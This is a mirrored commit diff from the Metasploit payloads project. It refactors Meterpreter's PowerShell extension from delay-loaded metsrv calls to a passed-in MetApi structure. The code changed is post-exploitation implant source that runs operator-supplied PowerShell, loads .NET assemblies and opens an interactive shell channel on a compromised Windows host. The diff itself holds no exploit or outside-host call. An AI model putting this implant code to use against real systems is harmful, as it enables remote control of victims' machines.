mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Update powershell extension to avoid delay loading
This commit is contained in:
parent
05d5a16fe5
commit
86a4763164
@ -2,20 +2,17 @@
|
||||
* @file powershell.c
|
||||
* @brief Entry point and intialisation definitions for the Powershell extension
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "powershell_bridge.h"
|
||||
#include "powershell_bindings.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
static BOOL gSuccessfullyLoaded = FALSE;
|
||||
|
||||
/*! @brief List of commands that the powershell extension provides. */
|
||||
@ -30,19 +27,21 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
gRemote = remote;
|
||||
|
||||
DWORD result = initialize_dotnet_host();
|
||||
|
||||
if (result == ERROR_SUCCESS)
|
||||
{
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -55,7 +54,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
deinitialize_dotnet_host();
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Wrapper functions for bridging native meterp calls to powershell
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "powershell_bindings.h"
|
||||
}
|
||||
|
||||
@ -25,7 +26,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
|
||||
dprintf("[PSH BINDING] Packet payload length: %u", packet.payloadLength);
|
||||
dprintf("[PSH BINDING] Packet local flag: %u", isLocal);
|
||||
|
||||
command_handle(gRemote, &packet);
|
||||
met_api->command.handle(gRemote, &packet);
|
||||
|
||||
if (packet.partner != NULL)
|
||||
{
|
||||
@ -34,7 +35,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
|
||||
*output = (unsigned char*)LocalAlloc(LPTR, packet.partner->payloadLength);
|
||||
*outputLength = packet.partner->payloadLength;
|
||||
memcpy(*output, packet.partner->payload, packet.partner->payloadLength);
|
||||
packet_destroy(packet.partner);
|
||||
met_api->packet.destroy(packet.partner);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -3,7 +3,8 @@
|
||||
* @brief Wrapper functions for bridging native meterp calls to powershell
|
||||
*/
|
||||
extern "C" {
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
#include "common_metapi.h"
|
||||
#include "powershell.h"
|
||||
#include "powershell_bridge.h"
|
||||
#include "powershell_bindings.h"
|
||||
@ -90,7 +91,7 @@ DWORD load_assembly(BYTE* assemblyData, DWORD assemblySize)
|
||||
}
|
||||
|
||||
dprintf("[PSH] Assembly appears to have been loaded successfully");
|
||||
list_add(gLoadedAssemblies, loadedAssembly);
|
||||
met_api->list.add(gLoadedAssemblies, loadedAssembly);
|
||||
} while (0);
|
||||
|
||||
if (SUCCEEDED(hr))
|
||||
@ -385,7 +386,7 @@ DWORD initialize_dotnet_host()
|
||||
break;
|
||||
}
|
||||
|
||||
gLoadedAssemblies = list_create();
|
||||
gLoadedAssemblies = met_api->list.create();
|
||||
dprintf("[PSH] Runtime has been initialized successfully");
|
||||
|
||||
} while(0);
|
||||
@ -437,8 +438,8 @@ VOID deinitialize_dotnet_host()
|
||||
|
||||
SAFE_RELEASE(gClrPowershellType);
|
||||
|
||||
list_enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
|
||||
list_destroy(gLoadedAssemblies);
|
||||
met_api->list.enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
|
||||
met_api->list.destroy(gLoadedAssemblies);
|
||||
|
||||
SAFE_RELEASE(gClrPowershellAssembly);
|
||||
SAFE_RELEASE(gClrAppDomainInterface);
|
||||
@ -455,12 +456,12 @@ DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LP
|
||||
|
||||
if (shell->output.length() > 1 && shell->wait_handle != NULL)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
dprintf("[PSH SHELL] received notification to write");
|
||||
DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
|
||||
DWORD result = met_api->channel.write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
|
||||
shell->output = "";
|
||||
ResetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
dprintf("[PSH SHELL] write completed");
|
||||
}
|
||||
|
||||
@ -474,11 +475,11 @@ DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext,
|
||||
if (shell->wait_handle)
|
||||
{
|
||||
HANDLE h = shell->wait_handle;
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
unchannelise_session(shell->session_id);
|
||||
shell->wait_handle = NULL;
|
||||
lock_release(shell->buffer_lock);
|
||||
lock_destroy(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
met_api->lock.destroy(shell->buffer_lock);
|
||||
CloseHandle(h);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
@ -494,9 +495,9 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
|
||||
{
|
||||
dprintf("[PSH SHELL] beginning interaction");
|
||||
shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
shell->buffer_lock = lock_create();
|
||||
shell->buffer_lock = met_api->lock.create();
|
||||
|
||||
result = scheduler_insert_waitable(shell->wait_handle, channel, context,
|
||||
result = met_api->scheduler.insert_waitable(shell->wait_handle, channel, context,
|
||||
powershell_channel_interact_notify, powershell_channel_interact_destroy);
|
||||
|
||||
channelise_session(shell->session_id, channel, context);
|
||||
@ -507,7 +508,7 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
|
||||
else if (shell->wait_handle != NULL)
|
||||
{
|
||||
dprintf("[PSH SHELL] stopping interaction");
|
||||
result = scheduler_signal_waitable(shell->wait_handle, Stop);
|
||||
result = met_api->scheduler.signal_waitable(shell->wait_handle, SchedulerStop);
|
||||
}
|
||||
|
||||
return result;
|
||||
@ -526,10 +527,10 @@ DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context
|
||||
DWORD result = invoke_ps_command(shell->session_id, codeMarshall, output);
|
||||
if (result == ERROR_SUCCESS && shell->wait_handle)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
shell->output += output;
|
||||
SetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@ -542,10 +543,10 @@ void powershell_channel_streamwrite(__int64 rawContext, __int64 rawMessage)
|
||||
|
||||
if (shell->wait_handle)
|
||||
{
|
||||
lock_acquire(shell->buffer_lock);
|
||||
met_api->lock.acquire(shell->buffer_lock);
|
||||
shell->output += message;
|
||||
SetEvent(shell->wait_handle);
|
||||
lock_release(shell->buffer_lock);
|
||||
met_api->lock.release(shell->buffer_lock);
|
||||
}
|
||||
}
|
||||
|
||||
@ -716,7 +717,7 @@ DWORD unchannelise_session(wchar_t* sessionId)
|
||||
DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
InteractiveShell* shell = NULL;
|
||||
|
||||
if (response)
|
||||
@ -732,7 +733,7 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
shell->session_id = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
if (shell->session_id != NULL)
|
||||
{
|
||||
@ -748,13 +749,13 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
chanOps.native.write = powershell_channel_write;
|
||||
chanOps.native.interact = powershell_channel_interact;
|
||||
shell->output = "PS > ";
|
||||
Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
|
||||
Channel* newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
|
||||
|
||||
channel_set_type(newChannel, "psh");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->channel.set_type(newChannel, "psh");
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
@ -774,23 +775,23 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
char* code = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
|
||||
if (code != NULL)
|
||||
{
|
||||
_bstr_t codeMarshall(code);
|
||||
_bstr_t output;
|
||||
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = invoke_ps_command(sessionId, codeMarshall, output);
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -798,7 +799,7 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
dprintf("[PSH] Code parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
@ -815,15 +816,15 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
BYTE* binary = packet_get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
|
||||
BYTE* binary = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
|
||||
if (binary != NULL)
|
||||
{
|
||||
DWORD binarySize = packet_get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
|
||||
DWORD binarySize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
|
||||
dwResult = load_assembly(binary, binarySize);
|
||||
}
|
||||
else
|
||||
@ -831,7 +832,7 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
dprintf("[PSH] Assembly parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
@ -848,16 +849,16 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_session_remove(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = remove_session(sessionId);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
|
@ -84,7 +84,7 @@
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -135,7 +135,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -189,7 +189,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
@ -240,7 +240,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
|
Loading…
Reference in New Issue
Block a user